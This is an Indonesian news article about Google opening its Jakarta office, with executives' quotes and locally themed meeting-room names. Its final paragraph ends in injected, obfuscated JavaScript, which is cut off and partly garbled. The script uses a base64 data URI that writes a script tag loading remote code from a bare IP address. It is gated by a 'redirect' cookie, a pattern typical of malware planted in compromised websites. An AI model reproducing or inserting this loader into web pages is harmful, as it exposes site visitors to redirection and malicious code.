Sebagai upaya memperkokoh komitmennya di Indonesia, Google memperkenalkan kantor barunya yang berlokasi di Sentra Senayan II, Jakarta. Rudy Ramawy, Country Head Google Indonesia mengatakan, diresmikannya kantor Google Indonesia merupakan langkah awal dari upayanya untuk semakin berkontribusi bagi perkembangan bisnis Tanah Air, terutama bisnis e-commerce.
Resmi hadir di Jakarta, kantor Google Indonesia mengedepankan nilai-nilai lokal yang diwujudkan dalam penamaan tiap-tiap ruangan di kantor tersebut.
"Hadirnya kantor Google Indonesia adalah bagian dari komitmen kami untuk mendukung pertumbuhan bisnis online di Indonesia, menghadirkan pencarian dan solusi lebih dekat bagi pengiklan di Indonesia, serta tentu saja memberikan pengalaman terbaik bagi pengguna dan menambah dukungan dan menjadikan solusinya selokal mungkin," ungkapnya.
Ke depan, kata Rudy, Google Indonesia berupaya menggiatkan konten partner lokal, baik yang besar ataupun kecil, dengan memberikan edukasi. “Jumlah konten Indonesia dibandingkan dengan tahun lalu sudah dua kali lipat di YouTube, dan kami akan terus berupaya mendukung perkembangan usaha seperti UKM dengan menggunakan platform Google, jadi tidak hanya bisnis online saja,” ujarnya.
Kantor Google menampilkan berbagai keunikan desain dan merupakan representasi culture Google yang terbuka. Selain itu, konsep kantornya juga diasosiakan dengan besarnya pengguna internet serta memberi sebuah rumah dimana para Googlers yang diandalkan mendapatkan rasa nyaman dalam berbagi ide dan opini.
“Culture dibentuk dari tempat kerja. Selain dari fisik kantor yang mendukung untuk menstimulasi kreativitas, culture dibentuk melalui tim itu sendiri," kata Krishna Zulkarnain, Country Marketing Manager Google Indonesia.
Ia menambahkan, di seluruh kantor Google yang berjumlah 70 kantor dan tersebar di 40 negara, kurang lebih memiliki kultur bekerja yang sama. Nilai-nilai lokal juga dapat ditemui dari penamaan ruangan di kantor Google Indonesia, seperti nama Alun-Alun, Gelora Asmara, Pangkalan Ojek, Potong Bebek Angsa, Cafetaria Google yang diberi nama Warung Mbah Google, dan lain-lain. function getCookie(e)\(\)\\\\/\+^])/g,"\\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time)